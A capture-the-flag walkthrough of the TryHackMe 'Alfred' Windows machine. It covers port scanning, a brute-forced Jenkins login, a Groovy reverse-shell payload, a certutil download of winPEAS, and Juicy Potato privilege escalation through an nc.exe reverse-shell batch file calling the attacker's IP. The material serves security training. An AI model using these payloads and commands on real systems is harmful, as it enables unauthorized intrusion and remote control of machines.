Categories: walkthrough
Tags: tryhackme, thm, jenkins, PrivEsc, PrivEsc-Windows, Windows-Machine, seImpersonate, Juicy-Potato
$ nmap -p0-65535 10.10.54.149 -T5
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-29 20:28 IST
Stats: 0:02:46 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Nmap scan report for 10.10.54.149
Host is up (0.16s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
80/tcp open http
3389/tcp open ms-wbt-server
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 179.88 seconds
$ nmap -sV -sC -p80,3389,8080 10.10.54.149
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-29 20:36 IST
Nmap scan report for 10.10.54.149
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Site doesnot have a title (text/html).
3389/tcp open ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=alfred
| Not valid before: 2021-06-28T14:38:41
|_Not valid after: 2021-12-28T14:38:41
|_ssl-date: 2021-06-29T15:06:43+00:00; -1s from scanner time.
8080/tcp open http Jetty 9.4.z-SNAPSHOT
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -1s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.52 seconds
There are no Public Exploits for IIS 7.5
Home page

Let’s Inspect page for any findings

Lets Fuzz for directories
$ ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3medium.txt:FUZZ -u http://10.10.54.149/FUZZ -t 200 -ic
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.54.149/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
[Status: 200, Size: 289, Words: 18, Lines: 12]
[Status: 200, Size: 289, Words: 18, Lines: 12]
:: Progress: [220547/220547] :: Job [1/1] :: 1117 req/sec :: Duration: [0:03:46] :: Errors: 0 ::
There is nothing useful on Port 80
Home Page

Inspecting Page

From the web, we got the default username as admin
Let’s perform bruteforce attack using Burp


using one of the password list from seclists, the password is obtained
Password is admin too.

Using Credentials obtainted during Enumeration stage.
Let’s login to Jenkins. we will be welcomed with below UI

As we enumerate more on Jenkins UI. We can find Script console in Manage Jenkins
I Tried whoami which is common command for both windows and unix systems.
Which leads to error with groovy as its scripting language.

A quick search engine dorking helped in finding reverse shell for groovy
Payload code:
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Once the payload is twiked and ran in grovy shell. I am greeted with cmd promt

Getting the User flag

By running systeminfo, we got to know the Architecture is 64 bit
systeminfo

Copied winPEAS.exe and winpeas.bat for automated finding of PrivEsc Loopholes
After running them, there is no luck with them
certutil -urlcache -f http://10.14.12.103:8991/winPEASx64.exe winPEASx64.exe


Powershell not working for me. so tried only winpeas. Powershell - PowerUp.ps1
Using Manual PriveEsc tactics, I found seImpersonate and seDebug Privs
whoami /priv

Using seImpersonate , I made a juicy potato attack

Getting netcat binary to target

Creating a batch file for getting shell on our machine
echo "C:\Program Files (x86)\Junkins\nc.exe" -e cmd.exe 10.14.12.103 9186 > priv.bat

Exexuting the potato attack
j.exe -p "C:\Program Files (x86)\Jenkins\priv.bat" -l 9186 -t * -c {03ca98d6-ff5d-49b8-abc6-03dd84127020}
{03ca98d6-ff5d-49b8-abc6-03dd84127020} - CLSID, more of them at CLSID

Grabbing the shell


Getting root flag

Clean up
